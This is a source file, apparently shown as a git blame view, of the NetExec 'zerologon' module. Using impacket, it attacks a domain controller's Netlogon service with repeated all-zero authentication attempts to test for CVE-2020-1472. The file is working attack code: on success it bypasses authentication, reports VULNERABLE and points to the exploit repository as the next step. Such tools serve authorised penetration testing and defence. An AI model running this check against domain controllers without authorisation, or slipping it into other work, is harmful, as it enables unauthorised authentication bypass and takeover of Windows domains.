NetExec/nxc/modules/zerologon.py

106 lines
4.1 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2021-12-08 12:21:13 +00:00
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64
from impacket.dcerpc.v5 import nrpc, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
2021-12-08 12:21:13 +00:00
import sys
from nxc.logger import nxc_logger
2021-12-08 12:21:13 +00:00
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
2021-12-08 12:21:13 +00:00
class NXCModule:
name = "zerologon"
2023-05-08 18:39:36 +00:00
description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
2021-12-08 12:21:13 +00:00
def options(self, context, module_options):
""""""
2021-12-08 12:21:13 +00:00
def on_login(self, context, connection):
self.context = context
2023-05-08 18:39:36 +00:00
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
self.context.log.highlight("VULNERABLE")
2023-05-08 18:39:36 +00:00
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
host = self.context.db.get_hosts(connection.host)[0]
2023-05-02 15:17:59 +00:00
self.context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
zerologon=True,
)
except Exception as e:
self.context.log.debug(f"Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
2023-05-02 15:17:59 +00:00
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
2023-05-02 15:17:59 +00:00
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for attempt in range(0, MAX_ATTEMPTS):
2023-05-08 18:39:36 +00:00
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
return True
else:
self.context.log.highlight("Attack failed. Target is probably patched.")
except DCERPCException as e:
2023-05-08 18:39:36 +00:00
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
2021-12-08 12:21:13 +00:00
def fail(msg):
nxc_logger.debug(msg)
nxc_logger.fail("This might have been caused by invalid arguments or network issues.")
2021-12-08 12:21:13 +00:00
sys.exit(2)
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
# Use an all-zero challenge and credential.
2023-05-02 15:17:59 +00:00
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
2021-12-08 12:21:13 +00:00
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
2023-05-02 15:17:59 +00:00
flags = 0x212FFFFF
2021-12-08 12:21:13 +00:00
# Send challenge and authentication request.
2023-05-08 18:39:36 +00:00
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
2021-12-08 12:21:13 +00:00
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
2023-05-02 15:17:59 +00:00
dc_handle + "\x00",
target_computer + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
2023-05-02 15:17:59 +00:00
target_computer + "\x00",
ciphertext,
2023-05-02 15:17:59 +00:00
flags,
2021-12-08 12:21:13 +00:00
)
# It worked!
2023-05-02 15:17:59 +00:00
assert server_auth["ErrorCode"] == 0
2021-12-08 12:21:13 +00:00
return True
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
2023-05-02 15:17:59 +00:00
if ex.get_error_code() == 0xC0000022:
2021-12-08 12:21:13 +00:00
return None
else:
2023-05-02 15:17:59 +00:00
fail(f"Unexpected error code from DC: {ex.get_error_code()}.")
2021-12-08 12:21:13 +00:00
except BaseException as ex:
2023-05-02 15:17:59 +00:00
fail(f"Unexpected error: {ex}.")